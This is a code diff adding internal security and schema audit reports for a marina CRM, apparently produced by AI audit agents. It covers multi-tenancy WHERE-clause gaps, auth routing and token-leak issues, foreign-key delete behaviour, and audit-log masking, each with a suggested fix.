+- Repro: open `/documents`, click "Upload file", drop any file in. POST to `/api/v1/files/upload` returns 400 with field errors on `clientId`, `yachtId`, `companyId`, `category`, `entityType`, `entityId` — all "expected string, received null".
+- Root cause: the client sends `null` for unset optional fields; the validator expects them either absent or strings. Mismatch.
+- Fix: either make the zod schema accept `.nullable()` on those fields OR strip nulls in `FileUploadZone` / `FolderDropZone` before POST.
+- Effort: XS.
+
+### A17 — `/api/v1/admin/ports` requires X-Port-Id but is the bootstrap port-resolver
+
+- Symptom: as sales-agent, every page load fires a 400 to `/api/v1/admin/ports` ("Port context required"). Repeats on every apiFetch call because `apiFetch` calls this endpoint to resolve port-slug→port-id.
+- Bigger problem: the endpoint is gated to super-admin (`requireSuperAdmin`). Sales-reps and viewers will NEVER get a ports list from this endpoint, so the bootstrap path always falls through to the Zustand store. The 400 noise is wasted work + log spam.
+- Fix: add a `/api/v1/me/ports` endpoint that returns the caller's accessible ports without the super-admin gate, and have `client.ts` use it. OR seed the PortProvider context into a `__INITIAL_PORTS__` window global on first paint and skip the fetch entirely.
+- Effort: S.
+
+### A18 — `/api/v1/users` returns 404 vs `/api/v1/admin/audit` returns 403 (inconsistent perm denials)
+
+- Both endpoints reject sales-agent access but use different status codes. Pick one — either always 404 (hide existence) or always 403 (acknowledge but deny). The 403/404 split is the kind of inconsistency a pentester probes to map permissions.
+- Effort: XS sweep.
+
+### A4 — F19 empty-contact filter never runs because zod-validation rejects first
+
+- Repro: open New Client dialog, fill Full Name + one valid email, click "Add Contact" to insert an empty row, click Create Client. Nothing happens (no toast, no submit, no POST in network).
+- Root cause: my F19 fix put the empty-row prune in the **mutationFn**, but `handleSubmit(zodResolver)` validates the form FIRST. The empty contact's `value: z.string().min(1)` fails silently — handleSubmit short-circuits without surfacing an error on the empty row (the field has no `errors.contacts[1].value` rendered because the schema-level message attaches to the array path).
+- Fix: prune empty contact rows in a custom onSubmit wrapper BEFORE handleSubmit/zod sees them, OR change the field-array schema to allow empty rows and let the mutationFn prune.
+- Effort: XS.
+
+### A19_b — Portal `/portal/login` shows "Client portal unavailable"
+
+- The portal is gated by a per-port `client_portal_enabled` system setting. The route layout renders a friendly message but no admin path is obvious to a fresh-eyes operator.
+- Two distinct problems:
+  - **Discoverability**: the admin landing card for "System Settings" doesn't surface a "Enable client portal" toggle prominently. A new operator would have to know the setting key.
+  - **Portal scope**: the portal currently only has activation + reset password + sign-in surfaces. Once the rep logs the client in, they land on... what? Worth a separate scoping session to flesh out: their interests, their documents, their signing queue, payment history, message thread.
+- Recommendation: spec a "Phase 0 portal MVP" (read-only views of own interests + documents + signed-PDF download) before promoting it to clients. Treat the rest as v1.3 backlog.
+- Effort: portal MVP S-M depending on scope.
+
+### A3 — Dev-only CSP error spam from react-grab
+
+- `react-grab` dev script tries to load `fonts.googleapis.com/css2?family=Geist` and triggers a CSP block on every page load (2 console errors). Cosmetic since react-grab isn't loaded in prod, but the dev console gets noisy.
+- Fix: either drop the react-grab include or extend dev CSP `style-src` to allow `https://fonts.googleapis.com`.
+- Effort: XS.
+
+### A5 — Socket.IO WebSocket repeatedly fails to connect in dev
+
+- Console floods with "WebSocket is closed before the connection is established" — at least 6 occurrences per page in this session. Socket-io server endpoint at /socket.io/ isn't reachable from the Next dev server.
+- Likely root cause: Socket.IO server runs as a sidecar in compose but `pnpm dev` only starts Next, so the realtime channel is permanently broken in dev. Realtime invalidation features (interest/folder updates) silently never fire.
+- Fix: either start the socket server alongside `pnpm dev` (concurrently script), gate the SocketProvider behind a feature flag in dev, or stub the client to no-op when the endpoint 404s the first handshake.
+- Effort: S.
+
+### A6 — Some DialogContent missing aria-describedby
+
+- React warnings: `Missing 'Description' or 'aria-describedby={undefined}' for {DialogContent}`. At least one Dialog opens without a DialogDescription.
+- Fix: audit Dialog usages and either add a DialogDescription or pass `aria-describedby={undefined}` explicitly where genuinely no description is needed.
+- Effort: S.
+
+### A8 — Legacy `statusOverrideMode = "auto"` values still in seed data
+
+- Berth A1 (and likely others) has `statusOverrideMode: "auto"` from the NocoDB legacy import. The new code writes 'manual' | 'automated' | null; 'auto' is unrecognized.
+- Treated as "not manual" by the reconcile-queue filter so it's benign today, but the column should be normalized — either migrate legacy 'auto' → null in a migration, or treat 'auto' explicitly in the read paths.
+- Effort: XS.
+
+### A9 — Catch-up wizard pipeline stage default doesn't match berth status
+
+- Open the wizard on a berth where status=under_offer; the stage picker defaults to "New Enquiry" instead of "EOI" (the most common manual-flip case).
+- Root cause in `catch-up-wizard.tsx`: the default-stage logic only fires when the initial state isn't in the allowed set; 'enquiry' IS in the allowed set for under_offer, so it stays. Should default to EOI on first open via a `useEffect` keyed on `berth?.data.status`.
+- Effort: XS.
+
+### A19 — F27 same-stage write still returns 200 + body instead of 204
+
+- Spec said "same-stage write → 204 No Content (no-op)". The service early-returns `existing` correctly (no audit log emitted), but the route handler wraps it in `{ data: existing }` and returns 200.
+- Fix: have the service return a discriminated result like `{ kind: 'no-op' } | { kind: 'updated', interest }`, and the route handler returns 204 for the no-op branch.
+- Effort: XS (route handler tweak).
+
+### A20 — F44 OwnerPicker — toggle hidden until popover opens (minor UX)
+
+- The yacht-create form shows just "Select owner..." with no visible indication that it supports both clients AND companies. The Client/Company toggle pills only appear once the popover is open.
+- Fix option: surface "Owned by: Client | Company" as a segmented control above the picker, OR add a hint chip "Client/Company" next to the label.
+- Effort: XS.

docs/audit-findings-tmp/01a-legacy-master-grep.md

@@ -0,0 +1,22 @@
+# L-001 Legacy Stage Enum Master Grep — agent #12 (re-dispatch slice 1)
+
+**Headline:** The 9→7 stage refactor is correctly implemented; zero bugs found across 25 files with legacy-stage-name hits.
+
+**Counts:** 0 critical · 0 high · 0 medium
+
+---
+
+## Verdict
+
+The two `stageRank` Records (`clients.service.ts:276-283`, `berth-recommender.service.ts:195-210`) intentionally include both legacy AND modern keys mapping to the same final ranks — yesterday's commit `9821106` purged the gap. The rules engine (`berth-rules-engine.ts:15-42`) and document services use legacy _trigger event_ names (`eoi_sent`/`eoi_signed`/`contract_signed`) rather than stage names — both old and new events fire correctly because they're labels for webhook/doc events, not pipeline stages.
+
+## Legitimate / neutral hit categories
+
+- **Historical lookup tables (designed for dual-stage support):** `clients.service.ts:276-283` `stageRank`, `berth-recommender.service.ts:195-210` `STAGE_ORDER` — both have legacy + modern keys.
+- **Refactor mapping definitions:** `constants.ts:59-65` `LEGACY_STAGE_REMAP`; `dedup/migration-transform.ts:206-212` legacy-to-legacy map for NocoDB import.
+- **Rules engine + service layer (legacy-aware design):** `berth-rules-engine.ts:15-42` (trigger event labels), `external-signing.service.ts:37-41`, `documents.service.ts:786/909/1503/1544/1574` (`evaluateRule('eoi_sent'|'eoi_signed'|'contract_signed', ...)`), `external-eoi.service.ts:138-151` (intentional legacy-aware advance branch).
+- **Schema metadata:** `db/schema/interests.ts:61-65` field names (`dateEoiSent`, `dateEoiSigned`, `dateContractSent`, `dateContractSigned`) — historical schema column names.
+- **UI display:** `email/templates/notification-digest.tsx:29` `eoi_signed: 'EOI signed'` label for historical data.
+- **Comments only:** `alert-rules.ts:83`, `interests.service.ts:938/980/1095`, `berths.service.ts:175`, `db/schema/operations.ts:98`.
+
+**No silent-failure lookup tables. No rank-0 fallthrough patterns. No raw legacy enum keys leaking to the UI without remap.**

docs/audit-findings-tmp/01b-legacy-rendering-surfaces.md

@@ -0,0 +1,28 @@
+# L-002-011 Legacy Stage Rendering Surfaces — done in main thread (sub-agent context-thrashed)
+
+**Headline:** Mostly clean. One LOW finding: report-generators stage rollup keys are raw enum without `LEGACY_STAGE_REMAP`/`canonicalizeStage` — defensive-coding gap if any active row drifts back to a legacy stage value (migration 0062 normalized, so this is theoretical).
+
+**Counts:** 0 critical · 0 high · 0 medium · 1 low (defensive)
+
+---
+
+## 🟢 LOW L-008: Reports stage-revenue rollup uses raw `interests.pipelineStage` without `canonicalizeStage`
+
+- **File:** `src/lib/services/report-generators.ts:71-76, 88-106, 124-138, 176-192`
+- **What:** `stageRevenueMap[row.stage] = ...` and `pipelineWeights[row.stage]` use the raw enum value from the SQL `groupBy(interests.pipelineStage)`. No `canonicalizeStage()` wrap.
+- **Why it matters:** Migration 0062 normalized historical data to modern values, so today active rows should all be in the 7-stage set and bucketing is correct. But if any leakage occurs (NocoDB re-import, partial migration on a future port, manual `psql` write), legacy values would be siloed into their own bucket and `pipelineWeights[legacy_value]` returns `undefined` → that bucket contributes 0 to the forecast. Silent.
+- **Suggested fix:** Wrap row.stage with `canonicalizeStage(row.stage)` from `src/lib/utils/legacy-stage.ts` before keying into `stageRevenueMap` / `pipelineWeights`.
+
+---
+
+## ✅ Passing checks
+
+- **L-002 audit log diff** — `audit-log-list.tsx` / `audit-log-card.tsx` don't render stage values at all (just field-name keys per agent #4's AU-08 finding). No raw-enum render path exists.
+- **L-003 activity feed** — `src/components/dashboard/activity-feed.tsx:14,57` imports and uses `LEGACY_STAGE_REMAP` for the stage_change diff line.
+- **L-004 email templates** — `src/lib/email/templates/notification-digest.tsx:24` `TYPE_LABELS` includes `eoi_signed` as a _notification type_ label (the doc-status event), not a pipeline stage. Legitimate.
+- **L-005 Documenso payload** — `src/lib/services/documenso-payload.ts` and `src/lib/templates/merge-fields.ts` have zero `pipelineStage` / `pipeline_stage` references. EOI payload doesn't surface stage.
+- **L-006 public berths status filter** — already verified clean by agent #7 (IN-17). `src/lib/services/public-berths.ts:90-97` `derivePublicStatus` only branches on `sold` / `under_offer` / else `available`. No legacy enum acceptance.
+- **L-007 outbound webhook** — `webhook-dispatch.ts` is a passthrough; payload built at `interests.service.ts:919-934` (`emitToRoom` + `dispatchWebhookEvent`). New stage value is current modern (write-time enforcement). `oldStage` could be legacy if the row was historical, but that's the actual historical truth — informational.
+- **L-009 search FTS on stages** — `interests` has no FTS GIN index at all (per agent #2's SC-04 finding); migration 0057 covers only clients/yachts/residential_clients. Stage searchability via FTS is moot. (SC-04 fix should add interests FTS — when added, the GENERATED expression should use `stageLabelFor` for the stage column.)
+- **L-010 notifications** — `next-in-line-notify.service.ts:63-65` falls back to `i.pipelineStage.replace(/_/g, ' ')` when `STAGE_LABELS` lookup misses. STAGE_LABELS is the modern-only map; legacy values would render as "eoi signed" etc. Recommended switch to `stageLabelFor()` for legacy resilience, but: only fires for active interests where stage is modern, so functionally clean today.
+- **L-011 CSV importers** — Only import services are `berth-import.ts` and `document-import.ts`; neither references `pipelineStage`. No CSV stage-import path exists, so no risk of legacy value re-entry through this vector.

docs/audit-findings-tmp/01c-legacy-adjacent-enums.md

@@ -0,0 +1,26 @@
+# L-013-020 Adjacent Enum Drift — agent #14 (re-dispatch slice 3)
+
+**Headline:** Single medium finding (tenure type enum diverges between berths and reservations); all other enums consistent.
+
+**Counts:** 0 critical · 0 high · 1 medium
+
+---
+
+## 🟡 MEDIUM L-018: Tenure type enum diverges between berths and reservations
+
+- **Files:** `src/lib/db/schema/berths.ts:65` vs `src/lib/db/schema/reservations.ts:32`
+- **What:** `berths.tenureType` documents `'permanent' | 'fixed_term' | 'fee_simple' | 'strata_lot'` (4 values). `reservations.tenureType` documents `'permanent' | 'fixed_term' | 'seasonal'` (3 values). Same column name, divergent allowed values.
+- **Why it matters:** No writes indicate actual cross-table conflict yet, but the schema-comment mismatch is a trap — a future feature copying tenure between the two tables would silently accept invalid values for the receiving side.
+- **Suggested fix:** Pick a single canonical enum (likely `'permanent' | 'fixed_term' | 'fee_simple' | 'strata_lot' | 'seasonal'` as the union) and update both schemas + comments. Or rename one column to disambiguate intent.
+
+---
+
+## ✅ Passing checks
+
+- L-013 berth status `available/under_offer/sold` — only writes are in `berth-rules-engine.ts` respecting the 3-value set
+- L-014 statusOverrideMode — `manual/automated/null`; migration 0066 normalizes legacy `'auto'` → NULL; only writers in rules-engine + reconcile-queue both respect three-state
+- L-015 outcome — `won/lost_other_marina/lost_unqualified/lost_no_response/cancelled`; only writes in `interest-outcome.service.ts`; no legacy `'completed'` outcome anywhere
+- L-016 lead category — `general_interest/specific_qualified/hot_lead`; no out-of-set writes
+- L-017 lead source — `website/manual/referral/broker`; no out-of-set writes
+- L-019 doc status (`eoiDocStatus`, `reservationDocStatus`, `contractDocStatus`) — `pending/sent/signed/declined/voided`; mark-externally-signed only writes `'signed'`; Documenso webhook routes all status updates through services consistent with the set
+- L-020 reservation/contract status — `pending/active/ended/cancelled`; only writes in `reservation-state-machine.ts`

docs/audit-findings-tmp/02-multitenancy-schema.md

@@ -0,0 +1,105 @@
+# Multi-tenancy + Schema Audit (MT-01-11, SC-01-15) — agent #2
+
+**Headline:** API port isolation structurally sound, but 5 write paths do port check in JS without re-asserting portId in WHERE (TOCTOU gaps). Schema has several FKs that are `ON DELETE NO ACTION` in DB while nullable Drizzle declarations imply SET NULL — most critically `documents.clientId` and all `berthReservations` FKs.
+
+**Counts:** 0 critical · 1 high · 8 medium · 0 low.
+
+---
+
+## 🟠 HIGH SC-02: Multiple significant FKs missing `onDelete` — remain `ON DELETE NO ACTION`
+
+- **Files:**
+  - `src/lib/db/schema/interests.ts:29,32` — `interests.portId`, `interests.clientId`
+  - `src/lib/db/schema/documents.ts:72,85,86` — `documents.clientId`, `documents.fileId`, `documents.signedFileId`
+  - `src/lib/db/schema/reservations.ts:18,24,25,27,28,33` — all 6 `berthReservations` FKs
+  - `src/lib/db/schema/operations.ts:25` — `reminders.clientId`
+  - `src/lib/db/schema/financial.ts:120` — `invoices.pdfFileId`
+  - `src/lib/db/schema/documents.ts:176` — `documentEvents.signerId`
+- **What:** `.references(...)` without `{ onDelete: ... }` emits `ON DELETE NO ACTION`. Confirmed in migration 0000:841 (`interests_client_id_clients_id_fk ... ON DELETE no action`).
+- **Why it matters:** Hard-deleting a parent (client, berth, yacht, file) blocks at FK level. `client-hard-delete.service.ts` manually nullifies but `berthReservations` (4 NO ACTION FKs) is not in the chain. Future maintenance trap.
+- **Suggested fix:** Add `{ onDelete: 'set null' }` for nullable FKs that should tolerate parent deletion; explicit `{ onDelete: 'restrict' }` for those that intentionally block (e.g., `interests.clientId` — design intent is archive-first).
+
+## 🟡 MEDIUM MT-01: `updateDefinition` UPDATE uses only `id` in WHERE, not `and(id, portId)`
+
+- **File:** `src/lib/services/custom-fields.service.ts:136-145`
+- **What:** Guard read uses `and(eq(id, fieldId), eq(portId, portId))`, but UPDATE fires with only `eq(customFieldDefinitions.id, fieldId)`.
+- **Why it matters:** TOCTOU race between read check and write.
+- **Suggested fix:** Mirror `updateTag`/`deleteTag`: add `and(eq(...id), eq(...portId, portId))` to the UPDATE WHERE.
+
+## 🟡 MEDIUM MT-01: `notes.service.ts` UPDATE/DELETE missing entityId scope
+
+- **File:** `src/lib/services/notes.service.ts:846-850, 869-873, 897-901`
+- **What:** All note `update()` branches verify ownership via prior SELECT, then UPDATE/DELETE on `eq(...notes.id, noteId)` alone (no `eq(yachtNotes.yachtId, entityId)` etc).
+- **Why it matters:** TOCTOU gap; risk currently low (UUIDs, no cross-entity discovery surface).
+- **Suggested fix:** Add `eq(...notes.<parent>Id, entityId)` to each UPDATE/DELETE WHERE.
+
+## 🟡 MEDIUM MT-01: `clients.service.ts::updateContact` / `removeContact` UPDATE/DELETE use only `contactId`
+
+- **File:** `src/lib/services/clients.service.ts:737-741, 764`
+- **What:** PortId verified in JS only; mutation has no portId guard.
+- **Suggested fix:** Add `eq(clientContacts.clientId, clientId)` to the UPDATE/DELETE WHERE.
+
+## 🟡 MEDIUM MT-04: `notes.service.ts::listForYachtAggregated` ownerClientId lookup has no portId guard
+
+- **File:** `src/lib/services/notes.service.ts:276-283`
+- **What:** Owner client SELECT uses only `eq(clients.id, ownerClientId)`. Yacht is verified in port but cross-port ownerClientId would still surface.
+- **Suggested fix:** Add `eq(clients.portId, portId)`.
+
+## 🟡 MEDIUM MT-06: `webhooks.service.ts::getWebhook` / `updateWebhook` / `deleteWebhook` fetch by `id` only, portId checked in JS
+
+- **File:** `src/lib/services/webhooks.service.ts:103-108, 133-137, 170-174`
+- **What:** Fetches full webhook row (incl. encrypted secret) before JS port check.
+- **Why it matters:** Defense-in-depth gap — secret briefly in app memory before authz check.
+- **Suggested fix:** Move portId into `findFirst` WHERE.
+
+## 🟡 MEDIUM SC-01: Migration 0000 (and 0001-0023) uses bare CREATE/ALTER without IF NOT EXISTS
+
+- **File:** `src/lib/db/migrations/0000_narrow_longshot.sql`
+- **What:** No `IF NOT EXISTS` guards on CREATE TABLE/INDEX. Migration 0036 also bare `ALTER TABLE ... ADD CONSTRAINT`. Later migrations (0042, 0050, 0051, 0052, 0057, 0062, 0065) use IF NOT EXISTS / DO blocks correctly.
+- **Why it matters:** Drizzle tracker prevents double-runs in normal flow, but disaster-recovery partial replay would fail.
+- **Suggested fix:** Document that 0000-0036 are not re-runnable without dropping schema first; standardize on IF NOT EXISTS / DO block pattern for all new migrations.
+
+## 🟡 MEDIUM SC-03: `companies` table missing soft-delete partial index for `archivedAt`
+
+- **File:** `src/lib/db/schema/companies.ts:39-45`
+- **What:** Other entities (clients, interests, yachts, berths, residentialClients, residentialInterests) have `idx_*_archived ... WHERE archived_at IS NULL` partial indexes (migration 0046). Companies missing.
+- **Suggested fix:** `CREATE INDEX IF NOT EXISTS idx_companies_archived ON companies (port_id) WHERE archived_at IS NULL;`
+
+## 🟡 MEDIUM SC-04: FTS GIN indexes missing for `interests` and `berths`
+
+- **File:** `src/lib/db/migrations/0057_search_fts_indexes.sql`
+- **What:** Migration 0057 creates GIN indexes for clients/yachts/residentialClients but explicitly notes companies uses ILIKE. Interests and berths also lack GIN indexes.
+- **Suggested fix:** `CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_interests_fulltext ON interests USING gin (...)` and similar for berths.
+
+## 🟡 MEDIUM SC-08: `audit_logs.searchText` declared as plain column in Drizzle but is GENERATED ALWAYS in DB
+
+- **File:** `src/lib/db/schema/system.ts:53-54`
+- **What:** Drizzle `tsvector('search_text')` without generated annotation. If any service auto-includes this column in an UPDATE, it errors on the generated column. `audit_logs` is insert-only so likely not hit in practice, but schema-DB mismatch.
+- **Suggested fix:** Annotate as non-updateable or add a generated-column marker.
+
+## 🟡 MEDIUM SC-09: `documents.clientId` Drizzle nullable but DB is `ON DELETE NO ACTION`
+
+- **File:** `src/lib/db/schema/documents.ts:72`, migration `0000_narrow_longshot.sql:814`
+- **What:** Drizzle says nullable (intent: SET NULL on parent delete); DB constraint is NO ACTION (blocks delete). Migration 0042 fixed `documents.interestId/yachtId/companyId` but missed `clientId`.
+- **Why it matters:** Client hard-delete fails unless service explicitly nulls `documents.clientId` first.
+- **Suggested fix:** Migration to mirror what 0059 did for `files.client_id` — drop and re-add FK with `ON DELETE SET NULL`.
+
+---
+
+## ✅ Passing checks
+
+- MT-01 clean: clients/interests/invoices/documents/files/tags/companies/berth-reservations GET/PATCH/DELETE all use `and(id, portId)` SQL filter; notes-service `verifyParentBelongsToPort` correct
+- MT-04 document-folders.service.ts clean (`listTree`, `createFolder`, `renameFolder`, `moveFolder`, `deleteFolderSoftRescue` all apply `eq(documentFolders.portId, portId)`)
+- MT-05 audit.service.ts `listAuditLogs` filters by portId first
+- MT-07 settings.service.ts clean (port-specific then global fallback by design)
+- MT-08 tags.service.ts clean
+- MT-09 custom-fields read/create/delete clean (only update missed; covered above)
+- MT-11 seed.ts idempotent (`SELECT count(*) FROM companies WHERE port_id = $1` early-exit)
+- SC-02 interestBerths.berthId/interestId, files.clientId/yachtId/companyId, documents.interestId/yachtId/companyId/reservationId all have explicit onDelete
+- SC-05 doc folder sibling-name unique, entity-folder partial unique, isPrimary partial unique all present
+- SC-06 idx_brochures_default partial unique present
+- SC-07 chk_system_folder_shape present (tightened by migration 0052)
+- SC-12 Migration 0062 normalizes legacy stages, 0066 normalizes statusOverrideMode='auto' → NULL
+- SC-13 Currency code stored as text + app-level validation (consistent)
+- SC-14 Address components stored as ISO 3166-2/alpha-2 text columns (consistent)
+- SC-15 Polymorphic owner reads use service helpers (eoi-context.ts, interests.service.ts, berth-reservations.service.ts); raw column reads only in JOIN conditions

docs/audit-findings-tmp/03-routes-auth.md

@@ -0,0 +1,68 @@
+# Routes/Middleware/Auth Audit (R-016-029, S-09-13, S-17-19) — agent #3
+
+**Headline:** 1 critical (`/setup` unreachable on fresh DB — middleware redirect loop), 3 high (post-login `?redirect=` ignored; CRM invite token in query string leaks to access logs; missing `Retry-After` on sign-in 429), 2 medium (broad portal allowlist, no OPTIONS handlers), 13 clean.
+
+**Counts:** 1 critical · 3 high · 2 medium · 0 low · 13 passing
+
+---
+
+## 🔴 CRITICAL R-021: `/setup` missing from `PUBLIC_PATHS` — bootstrap unreachable on fresh DB
+
+- **File:** `src/proxy.ts:51-73`
+- **What:** `PUBLIC_PATHS` includes `/api/v1/bootstrap/` but NOT `/setup`. Comment at lines 60-62 says login + setup pages call bootstrap status, but `/setup` itself is not exempt from the session guard. Unauthenticated user → `/setup` → middleware redirects to `/login?redirect=/setup`. Login useEffect fetches bootstrap status, calls `router.replace('/setup')` → middleware again → infinite redirect loop.
+- **Why it matters:** Fresh deployment (no super admin) is functionally deadlocked. First operator cannot reach setup without already having a session (impossible on fresh DB).
+- **Suggested fix:** Add `'/setup'` to `PUBLIC_PATHS`. `POST /api/v1/bootstrap/super-admin` already self-protects with `hasAnySuperAdmin()`.
+
+## 🟠 HIGH R-017/018: CRM post-login redirect ignores `?redirect=` — deep links silently dropped
+
+- **File:** `src/app/(auth)/login/page.tsx:79`
+- **What:** Middleware redirects unauthenticated → `/login?redirect=<path>`. Login page never reads `useSearchParams()`; always `router.push('/dashboard')`.
+- **Why it matters:** Email/bookmark/shared deep links into specific clients/interests silently dump to dashboard after login.
+- **Suggested fix:** Read `searchParams.get('redirect')`, validate same-origin (starts with `/`, not `//`), use as push target if valid.
+
+## 🟠 HIGH R-023: CRM invite token in query string leaks to access logs
+
+- **File:** `src/lib/services/crm-invite.service.ts:71,233`
+- **What:** `${env.APP_URL}/set-password?token=${raw}` — raw 32-byte token in query param. Set-password page reads via `useSearchParams()`. Portal flow was migrated to `#token=` fragment in 2026-05-14 specifically to keep tokens out of logs/Referer; CRM invite path missed the migration.
+- **Why it matters:** Every nginx/Caddy access log line for `GET /set-password?token=<raw>` persists token to disk. Forwarded to SIEM/S3/monitoring → token visible to anyone with log access. Token grants account creation.
+- **Suggested fix:** Change `createCrmInvite` + `resendCrmInvite` to emit `${env.APP_URL}/set-password#token=${encodeURIComponent(raw)}`. Update `set-password/page.tsx` to use the fragment-reading pattern from `PasswordSetForm` (`readTokenFromUrl()`) with `?token=` back-compat for outstanding tokens.
+
+## 🟠 HIGH R-029: `sign-in-by-identifier` 429 missing `Retry-After`
+
+- **File:** `src/app/api/auth/sign-in-by-identifier/route.ts:47-51`
+- **What:** Builds 429 response with `headers: rateLimitHeaders(rl)` which only emits `X-RateLimit-Limit/Remaining/Reset` (`src/lib/rate-limit.ts:79-85`). `enforcePublicRateLimit` adds `Retry-After`; this route uses `checkRateLimit` directly and skips it.
+- **Why it matters:** RFC 6585 §4 requires `Retry-After` on 429. Automated clients can't back off correctly. Inconsistent with other public endpoints.
+- **Suggested fix:** Add `'Retry-After': Math.max(1, Math.ceil((rl.resetAt - Date.now()) / 1000)).toString()`.
+
+## 🟡 MEDIUM R-016: `/portal/` blanket allowlist removes middleware as backstop
+
+- **File:** `src/proxy.ts:65`
+- **What:** `'/portal/'` in `PUBLIC_PATHS` — every `/portal/*` is exempt from middleware session check. Per-page `getPortalSession()` is the only gate.
+- **Why it matters:** Defense-in-depth gap. Per-page checks all in place today; but a future portal page added without `getPortalSession()` has no middleware backstop. Fragile vs CRM's primary middleware gate.
+- **Suggested fix:** Allowlist only the unauthenticated portal routes individually (`/portal/login`, `/portal/activate`, `/portal/reset-password`, `/portal/forgot-password`). Add middleware portal-cookie check.
+
+## 🟡 MEDIUM R-028: No explicit `OPTIONS` handlers, no CORS headers
+
+- **File:** All `route.ts` files under `src/app/api/`
+- **What:** No `OPTIONS` exports. No `Access-Control-Allow-*` headers anywhere. Next.js will 405 on unhandled OPTIONS.
+- **Why it matters:** Acceptable for same-origin CRM. Becomes an issue if marketing-site browser JS calls `/api/public/berths` cross-origin.
+- **Suggested fix:** Defer until cross-origin consumer exists. When marketing site lives, add explicit `Access-Control-Allow-Origin: <marketing-domain>` to public routes (not wildcard).
+
+---
+
+## ✅ Passing checks
+
+- R-016 allow-list anchor — `startsWith('/api/public/')` correctly rejects `'/api/publicX-evil'` (no regex anchor concern)
+- S-09 open redirect on next/redirect — CRM login ignores param (no risk because unused); portal `safeNextPath()` (portal/login/page.tsx:20-27) rejects non-`/portal/` paths and `//`-protocol-relative
+- S-10 CSRF — defense-in-depth: `proxy.ts originAllowed()` (lines 104-122) rejects state-changing `/api/v1/**` where Origin/Referer don't match in prod; better-auth has its own origin check for `/api/auth/**`; dev bypass intentional
+- S-11 cookie flags — CRM: `httpOnly`, `secure` (prod), `sameSite: 'strict'` (`src/lib/auth/index.ts:107-110`); Portal: `httpOnly`, `secure` (prod), `sameSite: 'lax'` (`src/app/api/portal/auth/sign-in/route.ts:43-45`)
+- S-12 CSP — per-request nonce-based CSP via `proxy.ts:buildCspWithNonce()` for page routes in prod (`'nonce-<n>' 'strict-dynamic'`); fallback CSP in `next.config.ts:55-66`; `frame-ancestors: 'none'` + `X-Frame-Options: DENY`; HSTS, X-Content-Type-Options, Referrer-Policy, Permissions-Policy all present
+- S-13 CORS — no `Access-Control-Allow-Origin: *` anywhere (correct for same-origin CRM)
+- R-019/020 portal `client_portal_enabled` gate — `src/app/(portal)/layout.tsx:22` calls `isPortalDisabledGlobally()`; per-page `getPortalSession()` additionally guards
+- R-022 reset-password tokens — Portal: single-use `consumeToken` setting `usedAt`, 30min TTL, SHA-256 hashed in DB. Better-auth CRM: 1h TTL, `revokeSessionsOnPasswordReset: true`
+- R-023 portal half — `portal/activate/page.tsx` uses `PasswordSetForm` with `useSyncExternalStore + readTokenFromUrl()` reading `window.location.hash` client-side; SSR-safe via `null` server snapshot
+- R-025 public berths cache headers `s-maxage=300, stale-while-revalidate=60` confirmed in both list + single endpoints
+- R-026/027 public health: anonymous `{status,timestamp}` only never 503; `X-Intake-Secret` `timingSafeEqual` (lines 57-64); authenticated runs DB+Redis dep checks in parallel, 503 on either failure
+- S-17 session fixation — better-auth creates fresh session row on every sign-in; portal sign-in always issues new JWT via `createPortalToken`
+- S-18 token expiry/refresh — CRM 24h absolute, 6h sliding refresh window (`src/lib/auth/index.ts:99-103`); Portal JWT 24h checked against `passwordChangedAt` watermark per request
+- S-19 audit log tamper-resistance — `audit_logs` has no `updated_at`; no `UPDATE` calls in app code (only INSERT/SELECT and time-based retention DELETE bounded by `AUDIT_LOGS_RETENTION_DAYS`)

docs/audit-findings-tmp/04-audit-log.md

@@ -0,0 +1,92 @@
+# Audit Log Audit (AU-01-14) — agent #4
+
+**Headline:** Core write path solid; major mutations all audit; mask helper covers expected PII; FTS indexed; AU-11 fix complete. Two HIGH issues: encrypted credential ciphertext bypasses masking (key is `"value"`) and `toggleAccount` mutation is silent.
+
+**Counts:** 0 critical · 2 high · 4 medium · 4 low
+
+---
+
+## 🟠 HIGH AU-01a: `toggleAccount` writes no audit row
+
+- **File:** `src/lib/services/email-accounts.service.ts:86-116`
+- **What:** Sets `isActive` on email account with no `createAuditLog` call. `connectAccount` (line 70) and `disconnectAccount` (line 139) do, but enable/disable in between is silent.
+- **Why it matters:** Silently disabling an email account suppresses bounce-detection or reroutes replies — compliance gap on a security-relevant config change.
+- **Suggested fix:** Add `void createAuditLog({ action: 'update', entityType: 'email_account', entityId: accountId, newValue: { isActive: data.isActive }, ... })` inside `toggleAccount`.
+
+## 🟠 HIGH AU-02: Encrypted credential ciphertext stored in audit log without masking
+
+- **File:** `src/lib/services/settings.service.ts:66-76` + `src/lib/services/sales-email-config.service.ts:281-299`
+- **What:** `updateSalesEmailConfig` calls `upsertSetting('sales_smtp_pass_encrypted', <ciphertext>, portId, meta)`. `upsertSetting` records `newValue: { value: '<ciphertext>' }`. `maskSensitiveFields` checks JSON keys against `SENSITIVE_KEY_FRAGMENTS`; the wrapping key `"value"` isn't in the list. Ciphertext lands verbatim in `audit_logs.new_value`.
+- **Why it matters:** Audit log is readable by all admins with `admin.view_audit_log`. DB read access exfils ciphertext; if `EMAIL_CREDENTIAL_KEY` is ever compromised, the historical audit log becomes a credential store. Industry standard: store only `credentialUpdated: true` for credential changes.
+- **Suggested fix:** In `upsertSetting`, detect when key ends with `_encrypted` (or accept `redactValue?: boolean` flag) and record `newValue: { value: '[redacted]' }`.
+
+## 🟡 MEDIUM AU-03: FTS `search_text` covers only 4 fields; placeholder text misleads
+
+- **File:** `src/lib/db/migrations/0014_black_banshee.sql:47-55` + `src/components/admin/audit/audit-log-list.tsx:360`
+- **What:** `search_text` GENERATED ALWAYS = `action || entity_type || entity_id || user_id`. Search input placeholder reads "entity id, action, vendor…" — implies you can search inside `metadata`/`new_value`. Searching "vendor" returns zero rows silently.
+- **Suggested fix:** Change placeholder to "action name, entity id, user id…" OR add `metadata` to GENERATED expression with `jsonb_to_tsvector` (larger index).
+
+## 🟡 MEDIUM AU-08: Admin audit log shows field names but no old→new diff
+
+- **File:** `src/components/admin/audit/audit-log-list.tsx:290-305` + `src/components/admin/audit/audit-log-card.tsx:84-91`
+- **What:** "Changes" column renders `Object.keys(newValue).slice(0,3).join(', ')` — no old→new diff, no row-expand. Dashboard `activity-feed.tsx` has working `buildDiffLine()` with 3 diff shapes, unused here.
+- **Why it matters:** Compliance audits can't confirm before/after state from UI alone; admins must dig into raw JSON.
+- **Suggested fix:** Add row-expand or detail sheet using `buildDiffLine` from activity-feed.tsx.
+
